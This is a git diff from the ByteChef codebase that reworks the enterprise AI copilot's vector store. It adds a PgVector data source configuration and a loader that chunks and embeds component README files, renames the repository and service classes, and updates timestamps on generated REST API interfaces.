-        document = tableMatcher.replaceAll("");
-
-        Pattern spacePattern = Pattern.compile("\\s+");
-
-        Matcher spaceMatcher = spacePattern.matcher(document);
-
-        document = spaceMatcher.replaceAll(" ");
-
-        return document.trim();
-    }
-
-    private static List<String> splitDocument(String[] tokens) {
-        List<String> chunks = new ArrayList<>();
-        StringBuilder currentChunk = new StringBuilder();
-        int tokenCount = 0;
-
-        for (String token : tokens) {
-            if (tokenCount + 1 > MAX_TOKENS) {
-                chunks.add(StringUtils.trim(currentChunk.toString()));
-                currentChunk.setLength(0);
-
-                tokenCount = 0;
-            }
-
-            currentChunk.append(token);
-            currentChunk.append(" ");
-
-            tokenCount++;
-        }
-
-        if (!currentChunk.isEmpty()) {
-            chunks.add(StringUtils.trim(currentChunk.toString()));
-        }
-
-        return chunks;
-    }
-
-    private void storeDocsDocuments(List<Map<String, Object>> vectorsMetadataList) {
-        List<Document> documentList = new ArrayList<>();
-
-        storeDocsFromClasspath(vectorsMetadataList, documentList);
-
-        for (List<Document> batch : batchingStrategy.batch(documentList)) {
-            vectorStore.add(batch);
-        }
-    }
-
-    private void storeDocsFromClasspath(List<Map<String, Object>> vectorsMetadataList, List<Document> documentList) {
-        try {
-            Resource[] resources = resourcePatternResolver.getResources(CLASSPATH_DOCS_PATTERN);
-
-            for (Resource resource : resources) {
-                if (resource.isReadable()) {
-                    try (InputStream inputStream = resource.getInputStream()) {
-                        String content = new String(inputStream.readAllBytes(), StandardCharsets.UTF_8);
-                        String docName = extractDocName(resource);
-
-                        addToDocuments(vectorsMetadataList, docName, content, documentList);
-                    }
-                }
-            }
-        } catch (IOException ioException) {
-            throw new RuntimeException("Error loading docs from classpath", ioException);
-        }
-    }
-
-}
diff --git a/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/config/PgVectorConfiguration.java b/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/config/PgVectorConfiguration.java
new file mode 100644
index 00000000000..68a402d0c70
--- /dev/null
+++ b/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/config/PgVectorConfiguration.java
@@ -0,0 +1,144 @@
+/*
+ * Copyright 2025 ByteChef
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.bytechef.ee.ai.copilot.config;
+
+import com.bytechef.config.ApplicationProperties;
+import com.zaxxer.hikari.HikariDataSource;
+import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
+import io.micrometer.observation.ObservationRegistry;
+import javax.sql.DataSource;
+import org.springframework.ai.embedding.BatchingStrategy;
+import org.springframework.ai.embedding.EmbeddingModel;
+import org.springframework.ai.vectorstore.observation.VectorStoreObservationConvention;
+import org.springframework.ai.vectorstore.pgvector.PgVectorStore;
+import org.springframework.ai.vectorstore.pgvector.autoconfigure.PgVectorStoreProperties;
+import org.springframework.beans.factory.ObjectProvider;
+import org.springframework.beans.factory.annotation.Qualifier;
+import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
+import org.springframework.boot.jdbc.DataSourceBuilder;
+import org.springframework.context.ApplicationContext;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.data.jdbc.core.JdbcAggregateTemplate;
+import org.springframework.data.jdbc.core.convert.DataAccessStrategy;
+import org.springframework.data.jdbc.core.convert.DefaultDataAccessStrategy;
+import org.springframework.data.jdbc.core.convert.InsertStrategyFactory;
+import org.springframework.data.jdbc.core.convert.JdbcConverter;
+import org.springframework.data.jdbc.core.convert.QueryMappingConfiguration;
+import org.springframework.data.jdbc.core.convert.SqlGeneratorSource;
+import org.springframework.data.jdbc.core.convert.SqlParametersFactory;
+import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
+import org.springframework.data.relational.core.dialect.Dialect;
+import org.springframework.data.relational.core.mapping.RelationalMappingContext;
+import org.springframework.jdbc.core.JdbcTemplate;
+import org.springframework.jdbc.core.namedparam.NamedParameterJdbcOperations;
+import org.springframework.jdbc.core.namedparam.NamedParameterJdbcTemplate;
+import org.springframework.jdbc.support.JdbcTransactionManager;
+import org.springframework.transaction.PlatformTransactionManager;
+
+@Configuration
+@EnableJdbcRepositories(
+    basePackages = "com.bytechef.ee.ai.copilot.repository",
+    jdbcAggregateOperationsRef = "pgVectorJdbcAggregateTemplate",
+    transactionManagerRef = "pgVectorTxManager")
+@ConditionalOnProperty(prefix = "bytechef.ai.copilot", name = "enabled", havingValue = "true")
+public class PgVectorConfiguration {
+
+    private final ApplicationProperties.Ai.Copilot.Vectorstore.PgVector pgVector;
+
+    @SuppressFBWarnings("EI")
+    public PgVectorConfiguration(ApplicationProperties applicationProperties) {
+        this.pgVector = applicationProperties.getAi()
+            .getCopilot()
+            .getVectorstore()
+            .getPgVector();
+    }
+
+    @Bean(name = "pgVectorDataSource")
+    DataSource pgVectorDataSource() {
+        return DataSourceBuilder.create()
+            .type(HikariDataSource.class)
+            .url(pgVector.getUrl())
+            .username(pgVector.getUsername())
+            .password(pgVector.getPassword())
+            .build();
+    }
+
+    @Bean(name = "pgVectorJdbcTemplate")
+    JdbcTemplate pgVectorJdbcTemplate(@Qualifier("pgVectorDataSource") DataSource pgVectorDataSource) {
+        return new JdbcTemplate(pgVectorDataSource);
+    }
+
+    @Bean(name = "pgVectorNamedParameterJdbcTemplate")
+    NamedParameterJdbcOperations pgVectorNamedParameterJdbcTemplate(
+        @Qualifier("pgVectorDataSource") DataSource pgVectorDataSource) {
+
+        return new NamedParameterJdbcTemplate(pgVectorDataSource);
+    }
+
+    @Bean(name = "pgVectorTxManager")
+    PlatformTransactionManager pgVectorTransactionManager(
+        @Qualifier("pgVectorDataSource") DataSource pgVectorDataSource) {
+
+        return new JdbcTransactionManager(pgVectorDataSource);
+    }
+
+    @Bean(name = "pgVectorDataAccessStrategy")
+    DataAccessStrategy pgVectorDataAccessStrategy(
+        @Qualifier("pgVectorNamedParameterJdbcTemplate") NamedParameterJdbcOperations operations,
+        JdbcConverter jdbcConverter, RelationalMappingContext context, Dialect jdbcDialect) {
+
+        return new DefaultDataAccessStrategy(new SqlGeneratorSource(context, jdbcConverter, jdbcDialect), context,
+            jdbcConverter, operations, new SqlParametersFactory(context, jdbcConverter),
+            new InsertStrategyFactory(operations, jdbcDialect), QueryMappingConfiguration.EMPTY);
+    }
+
+    @Bean(name = "pgVectorJdbcAggregateTemplate")
+    JdbcAggregateTemplate pgVectorJdbcAggregateTemplate(
+        ApplicationContext applicationContext, RelationalMappingContext context, JdbcConverter jdbcConverter,
+        @Qualifier("pgVectorDataAccessStrategy") DataAccessStrategy dataAccessStrategy) {
+
+        return new JdbcAggregateTemplate(applicationContext, context, jdbcConverter, dataAccessStrategy);
+    }
+
+    @Bean
+    public PgVectorStore pgVectorStore(
+        @Qualifier("pgVectorJdbcTemplate") JdbcTemplate pgVectorJdbcTemplate,
+        EmbeddingModel embeddingModel, PgVectorStoreProperties properties,
+        ObjectProvider<ObservationRegistry> observationRegistry,
+        ObjectProvider<VectorStoreObservationConvention> customObservationConvention,
+        BatchingStrategy batchingStrategy) {
+
+        var initializeSchema = properties.isInitializeSchema();
+
+        return PgVectorStore.builder(pgVectorJdbcTemplate, embeddingModel)
+            .schemaName(properties.getSchemaName())
+            .idType(properties.getIdType())
+            .vectorTableName(properties.getTableName())
+            .vectorTableValidationsEnabled(properties.isSchemaValidation())
+            .dimensions(properties.getDimensions())
+            .distanceType(properties.getDistanceType())
+            .removeExistingVectorStoreTable(properties.isRemoveExistingVectorStoreTable())
+            .indexType(properties.getIndexType())
+            .initializeSchema(initializeSchema)
+            .observationRegistry(observationRegistry.getIfUnique(() -> ObservationRegistry.NOOP))
+            .customObservationConvention(customObservationConvention.getIfAvailable(() -> null))
+            .batchingStrategy(batchingStrategy)
+            .maxDocumentBatchSize(properties.getMaxDocumentBatchSize())
+            .build();
+    }
+}
diff --git a/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/config/VectorStoreLoaderConfiguration.java b/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/config/VectorStoreLoaderConfiguration.java
new file mode 100644
index 00000000000..841f5ef2fbb
--- /dev/null
+++ b/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/config/VectorStoreLoaderConfiguration.java
@@ -0,0 +1,263 @@
+/*
+ * Copyright 2025 ByteChef
+ *
+ * Licensed under the ByteChef Enterprise license (the "Enterprise License");
+ * you may not use this file except in compliance with the Enterprise License.
+ */
+
+package com.bytechef.ee.ai.copilot.config;
+
+import com.bytechef.ee.ai.copilot.service.VectorStoreService;
+import com.knuddels.jtokkit.api.EncodingType;
+import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
+import java.io.IOException;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+import java.util.Optional;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import org.apache.commons.lang3.StringUtils;
+import org.springframework.ai.document.Document;
+import org.springframework.ai.document.MetadataMode;
+import org.springframework.ai.embedding.BatchingStrategy;
+import org.springframework.ai.embedding.TokenCountBatchingStrategy;
+import org.springframework.ai.vectorstore.VectorStore;
+import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
+import org.springframework.boot.context.event.ApplicationStartedEvent;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.context.event.EventListener;
+
+/**
+ * @version ee
+ *
+ * @author Marko Kriskovic
+ */
+@Configuration
+@ConditionalOnProperty(prefix = "bytechef.ai.copilot", name = "enabled", havingValue = "true")
+public class VectorStoreLoaderConfiguration {
+
+    private static final String CATEGORY = "category";
+    private static final String COMPONENTS_PATH = "server/libs/modules/components";
+    private static final int MAX_TOKENS = 1536;
+    private static final String NAME = "name";
+    private static final String README = "readme";
+    private static final String README_PATH = "src/main/resources/README.mdx";
+    private static final String ROOT = "user.dir";
+
+    private final TokenCountBatchingStrategy strategy;
+    private final VectorStore vectorStore;
+    private final VectorStoreService vectorStoreService;
+
+    @SuppressFBWarnings("EI")
+    public VectorStoreLoaderConfiguration(VectorStore vectorStore, VectorStoreService vectorStoreService) {
+        this.strategy = new TokenCountBatchingStrategy(
+            EncodingType.CL100K_BASE, 8191, 0.1, Document.DEFAULT_CONTENT_FORMATTER, MetadataMode.ALL);
+        this.vectorStore = vectorStore;
+        this.vectorStoreService = vectorStoreService;
+    }
+
+    @EventListener(ApplicationStartedEvent.class)
+    public void onApplicationStartedEvent() {
+        Path projectRoot = Paths.get(System.getProperty(ROOT));
+        Path componentsPath = projectRoot.resolve(COMPONENTS_PATH);
+
+        if (Files.exists(componentsPath) && Files.isDirectory(componentsPath)) {
+            initializeVectorStoreTable(componentsPath);
+        }
+    }
+
+    private static void addToDocuments(String name, List<Document> documents, String cleanedDocument, int hash) {
+        List<String> chunks = splitDocument(cleanedDocument.split("\\s+"));
+
+        for (String chunk : chunks) {
+            documents.add(new Document(chunk, Map.of(CATEGORY, README, NAME, name, "hash", hash)));
+        }
+    }
+
+    private static void addToDocuments(
+        List<Map<String, Object>> vectorStoreMetadataList, String name, String json, List<Document> documents,
+        VectorStore vectorStore) {
+
+        String cleanedDocument = preprocessDocument(json);
+        int hash = cleanedDocument.hashCode();
+
+        if (!containsVectorStoreFile(vectorStoreMetadataList, name, README)) {
+            if (!cleanedDocument.isEmpty()) {
+                addToDocuments(name, documents, cleanedDocument, hash);
+            }
+        } else {
+            Optional<Map<String, Object>> vectorStoreFileMetadata = getVectorStoreFile(
+                vectorStoreMetadataList, name, README);
+            if (vectorStoreFileMetadata.isPresent()) {
+                Map<String, Object> fileMetadata = vectorStoreFileMetadata.get();
+
+                int vectorHash = (int) fileMetadata.get("hash");
+
+                if (vectorHash != hash) {
+                    deleteFromVectorStore(vectorStore, name, README, hash);
+
+                    addToDocuments(name, documents, cleanedDocument, hash);
+                }
+            }
+        }
+    }
+
+    private static boolean containsVectorStoreFile(
+        List<Map<String, Object>> vectorStoreList, String fileName, String categoryName) {
+
+        return !vectorStoreList.isEmpty() && vectorStoreList.stream()
+            .anyMatch(map -> fileName.equals(map.get(NAME)) && categoryName.equals(map.get(CATEGORY)));
+    }
+
+    private static void deleteFromVectorStore(VectorStore vectorStore, String name, String category, int hash) {
+        vectorStore.delete(String.format("name == '%s' AND category == '%s' AND hash == '%d'", name, category, hash));
+    }
+
+    private void initializeVectorStoreTable(Path documentationPath) {
+        if (vectorStoreService.count() > 0) {
+            List<Map<String, Object>> vectorsMetadataList = vectorStoreService.findAll()
+                .stream()
+                .map(com.bytechef.ee.ai.copilot.domain.VectorStore::getMetadata)
+                .toList();
+
+            storeDocuments(vectorsMetadataList, documentationPath);
+        } else {
+            storeDocuments(List.of(), documentationPath);
+        }
+    }
+
+    private static Optional<Map<String, Object>> getVectorStoreFile(
+        List<Map<String, Object>> vectorStoreList, String fileName, String categoryName) {
+
+        return vectorStoreList.stream()
+            .filter(map -> fileName.equals(map.get(NAME)) && categoryName.equals(map.get(CATEGORY)))
+            .findFirst();
+    }
+
+    private static String preprocessDocument(String document) {
+        Pattern htmlTagsPattern = Pattern.compile("<[^>]*>");
+
+        Matcher matcher = htmlTagsPattern.matcher(document);
+
+        document = matcher.replaceAll("");
+
+        Pattern pixelLinkPattern = Pattern.compile("^!.+$", Pattern.MULTILINE);
+
+        Matcher pixelLinkMatcher = pixelLinkPattern.matcher(document);
+
+        document = pixelLinkMatcher.replaceAll("");
+
+        Pattern colonPattern = Pattern.compile("^\\|:.+$", Pattern.MULTILINE);
+
+        Matcher colonMatcher = colonPattern.matcher(document);
+
+        document = colonMatcher.replaceAll("");
+
+        Pattern linkPattern = Pattern.compile("^\\[.*\\)$", Pattern.MULTILINE);
+
+        Matcher linkMatcher = linkPattern.matcher(document);
+
+        document = linkMatcher.replaceAll("");
+
+        Pattern headerPattern = Pattern.compile("^---.*\\n([\\s\\S]*?)^---\n", Pattern.MULTILINE);
+
+        Matcher headerMatcher = headerPattern.matcher(document);
+
+        document = headerMatcher.replaceAll("");
+
+        // properties and tables
+        Pattern propertiesPattern = Pattern.compile("^#### Properties.*$", Pattern.MULTILINE);
+
+        Matcher propertiesMatcher = propertiesPattern.matcher(document);
+
+        document = propertiesMatcher.replaceAll("");
+
+        Pattern tablePattern = Pattern.compile("^\\|.*\\|$", Pattern.MULTILINE);
+
+        Matcher tableMatcher = tablePattern.matcher(document);
+
+        document = tableMatcher.replaceAll("");
+
+        Pattern spacePattern = Pattern.compile("\\s+");
+
+        Matcher spaceMatcher = spacePattern.matcher(document);
+
+        document = spaceMatcher.replaceAll(" ");
+
+        return document.trim();
+    }
+
+    private static List<String> splitDocument(String[] tokens) {
+        List<String> chunks = new ArrayList<>();
+        StringBuilder currentChunk = new StringBuilder();
+        int tokenCount = 0;
+
+        for (String token : tokens) {
+            if (tokenCount + 1 > MAX_TOKENS) {
+                chunks.add(StringUtils.trim(currentChunk.toString()));
+                currentChunk.setLength(0); // Reset the current chunk
+
+                tokenCount = 0;
+            }
+
+            currentChunk.append(token);
+            currentChunk.append(" ");
+
+            tokenCount++;
+        }
+
+        if (!currentChunk.isEmpty()) {
+            chunks.add(StringUtils.trim(currentChunk.toString()));
+        }
+
+        return chunks;
+    }
+
+    private static void storeComponentDocuments(
+        Path componentsBasePath, BatchingStrategy batchingStrategy,
+        List<Map<String, Object>> vectorStoreMetadataList, VectorStore vectorStore) throws IOException {
+
+        List<Document> documentList = new ArrayList<>();
+
+        if (!Files.exists(componentsBasePath) || !Files.isDirectory(componentsBasePath)) {
+            return;
+        }
+
+        try (var componentDirs = Files.list(componentsBasePath)) {
+            componentDirs
+                .filter(Files::isDirectory)
+                .forEach(componentDir -> {
+                    try {
+                        Path readmePath = componentDir.resolve(README_PATH);
+
+                        if (Files.exists(readmePath) && Files.isReadable(readmePath)) {
+                            String componentName = componentDir.getFileName()
+                                .toString();
+                            String document = Files.readString(readmePath);
+
+                            addToDocuments(vectorStoreMetadataList, componentName, document, documentList, vectorStore);
+                        }
+                    } catch (IOException e) {
+                        throw new RuntimeException("Error reading README.mdx for component: " +
+                            componentDir.getFileName(), e);
+                    }
+                });
+        }
+
+        for (List<Document> batch : batchingStrategy.batch(documentList)) {
+            vectorStore.add(batch);
+        }
+    }
+
+    private void storeDocuments(List<Map<String, Object>> vectorStoreMetadataList, Path componentsBasePath) {
+        try {
+            storeComponentDocuments(componentsBasePath, strategy, vectorStoreMetadataList, vectorStore);
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+}
diff --git a/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/env/AiCopilotEnvironmentPostProcessor.java b/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/env/AiCopilotEnvironmentPostProcessor.java
new file mode 100644
index 00000000000..f7bfbd98dc4
--- /dev/null
+++ b/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/env/AiCopilotEnvironmentPostProcessor.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright 2025 ByteChef
+ *
+ * Licensed under the ByteChef Enterprise license (the "Enterprise License");
+ * you may not use this file except in compliance with the Enterprise License.
+ */
+
+package com.bytechef.ee.ai.copilot.env;
+
+import com.bytechef.config.ApplicationProperties.Ai.Copilot.Provider;
+import java.util.HashMap;
+import java.util.Map;
+import org.apache.commons.lang3.StringUtils;
+import org.springframework.boot.EnvironmentPostProcessor;
+import org.springframework.boot.SpringApplication;
+import org.springframework.core.env.ConfigurableEnvironment;
+import org.springframework.core.env.MapPropertySource;
+import org.springframework.core.env.MutablePropertySources;
+
+/**
+ * @version ee
+ *
+ * @author Ivica Cardic
+ */
+public class AiCopilotEnvironmentPostProcessor implements EnvironmentPostProcessor {
+
+    @Override
+    public void postProcessEnvironment(ConfigurableEnvironment environment, SpringApplication application) {
+        Map<String, Object> source = new HashMap<>();
+
+        if (environment.getProperty("bytechef.ai.copilot.enabled", Boolean.class, false)) {
+            String provider = environment.getProperty("bytechef.ai.copilot.provider");
+
+            source.put("spring.ai.model.chat", provider);
+            source.put("spring.ai.vectorstore.type", "pgvector");
+
+            if (Provider.valueOf(StringUtils.upperCase(provider)) == Provider.OPENAI) {
+                source.put("spring.ai.model.embedding", provider);
+            } else {
+                provider = environment.getProperty("bytechef.ai.copilot.anthropic.embedding.provider");
+
+                source.put("spring.ai.model.embedding", provider);
+            }
+        }
+
+        MapPropertySource mapPropertySource = new MapPropertySource("Custom AI Copilot Config", source);
+
+        MutablePropertySources mutablePropertySources = environment.getPropertySources();
+
+        mutablePropertySources.addFirst(mapPropertySource);
+    }
+}
diff --git a/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/repository/CopilotVectorStoreRepository.java b/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/repository/CopilotVectorStoreRepository.java
deleted file mode 100644
index 4779bff7936..00000000000
--- a/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/repository/CopilotVectorStoreRepository.java
+++ /dev/null
@@ -1,21 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.ai.copilot.repository;
-
-import com.bytechef.ee.ai.copilot.domain.CopilotVectorStore;
-import com.bytechef.platform.jdbc.ConditionalJdbcRepository;
-import org.springframework.data.repository.ListCrudRepository;
-
-/**
- * @version ee
- *
- * @author Marko Kriskovic
- */
-@ConditionalJdbcRepository
-public interface CopilotVectorStoreRepository extends ListCrudRepository<CopilotVectorStore, Long> {
-}
diff --git a/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/repository/VectorStoreRepository.java b/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/repository/VectorStoreRepository.java
new file mode 100644
index 00000000000..488166fbe68
--- /dev/null
+++ b/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/repository/VectorStoreRepository.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright 2025 ByteChef
+ *
+ * Licensed under the ByteChef Enterprise license (the "Enterprise License");
+ * you may not use this file except in compliance with the Enterprise License.
+ */
+
+package com.bytechef.ee.ai.copilot.repository;
+
+import com.bytechef.ee.ai.copilot.domain.VectorStore;
+import com.bytechef.platform.jdbc.ConditionalJdbcRepository;
+import org.springframework.data.repository.ListCrudRepository;
+
+/**
+ * @version ee
+ *
+ * @author Marko Kriskovic
+ */
+@ConditionalJdbcRepository
+public interface VectorStoreRepository extends ListCrudRepository<VectorStore, Long> {
+}
diff --git a/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/service/CopilotVectorStoreService.java b/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/service/CopilotVectorStoreService.java
deleted file mode 100644
index a25265ecc24..00000000000
--- a/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/service/CopilotVectorStoreService.java
+++ /dev/null
@@ -1,37 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.ai.copilot.service;
-
-import com.bytechef.ee.ai.copilot.domain.CopilotVectorStore;
-import com.bytechef.ee.ai.copilot.repository.CopilotVectorStoreRepository;
-import java.util.List;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.stereotype.Service;
-
-/**
- * @version ee
- *
- * @author Marko Kriskovic
- */
-@Service
-@ConditionalOnProperty(prefix = "bytechef.ai.copilot", name = "enabled", havingValue = "true")
-public class CopilotVectorStoreService {
-    private final CopilotVectorStoreRepository repository;
-
-    public CopilotVectorStoreService(CopilotVectorStoreRepository repository) {
-        this.repository = repository;
-    }
-
-    public long count() {
-        return repository.count();
-    }
-
-    public List<CopilotVectorStore> findAll() {
-        return repository.findAll();
-    }
-}
diff --git a/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/service/VectorStoreService.java b/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/service/VectorStoreService.java
new file mode 100644
index 00000000000..ca857a59985
--- /dev/null
+++ b/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/java/com/bytechef/ee/ai/copilot/service/VectorStoreService.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright 2025 ByteChef
+ *
+ * Licensed under the ByteChef Enterprise license (the "Enterprise License");
+ * you may not use this file except in compliance with the Enterprise License.
+ */
+
+package com.bytechef.ee.ai.copilot.service;
+
+import com.bytechef.ee.ai.copilot.domain.VectorStore;
+import com.bytechef.ee.ai.copilot.repository.VectorStoreRepository;
+import java.util.List;
+import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
+import org.springframework.stereotype.Service;
+
+/**
+ * @version ee
+ *
+ * @author Marko Kriskovic
+ */
+@Service
+@ConditionalOnProperty(prefix = "bytechef.ai.copilot", name = "enabled", havingValue = "true")
+public class VectorStoreService {
+    private final VectorStoreRepository repository;
+
+    public VectorStoreService(VectorStoreRepository repository) {
+        this.repository = repository;
+    }
+
+    public long count() {
+        return repository.count();
+    }
+
+    public List<VectorStore> findAll() {
+        return repository.findAll();
+    }
+}
diff --git a/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/resources/.gitignore b/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/resources/.gitignore
deleted file mode 100644
index 5b2888021b3..00000000000
--- a/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/resources/.gitignore
+++ /dev/null
@@ -1,2 +0,0 @@
-# Documentation files copied during build
-/docs/
diff --git a/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/resources/META-INF/spring.factories b/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/resources/META-INF/spring.factories
index 0b855826ef9..b06daa04e74 100644
--- a/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/resources/META-INF/spring.factories
+++ b/server/ee/libs/ai/ai-copilot/ai-copilot-service/src/main/resources/META-INF/spring.factories
@@ -1,2 +1,2 @@
 org.springframework.boot.EnvironmentPostProcessor=\
-com.bytechef.ee.ai.copilot.boot.CopilotEnvironmentPostProcessor
+com.bytechef.ee.ai.copilot.env.AiCopilotEnvironmentPostProcessor
diff --git a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/ApiClientApi.java b/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/ApiClientApi.java
index 28ef21c2c59..5e525de4d02 100644
--- a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/ApiClientApi.java
+++ b/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/ApiClientApi.java
@@ -34,7 +34,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.404697+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.369127+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "api-client", description = "The Automation API Platform Client Internal API")
 public interface ApiClientApi {
diff --git a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/ApiCollectionApi.java b/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/ApiCollectionApi.java
index e8997e9a6aa..f44a9234b4d 100644
--- a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/ApiCollectionApi.java
+++ b/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/ApiCollectionApi.java
@@ -34,7 +34,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.404697+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.369127+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "api-collection", description = "The Automation API Platform Collection Internal API")
 public interface ApiCollectionApi {
diff --git a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/ApiCollectionEndpointApi.java b/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/ApiCollectionEndpointApi.java
index 58b2d907323..9fb42e924a9 100644
--- a/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/ApiCollectionEndpointApi.java
+++ b/server/ee/libs/automation/automation-api-platform/automation-api-platform-configuration/automation-api-platform-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/apiplatform/configuration/web/rest/ApiCollectionEndpointApi.java
@@ -33,7 +33,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.404697+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.369127+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "api-collection-endpoint", description = "The Automation API Platform Collection Endpoint Internal API")
 public interface ApiCollectionEndpointApi {
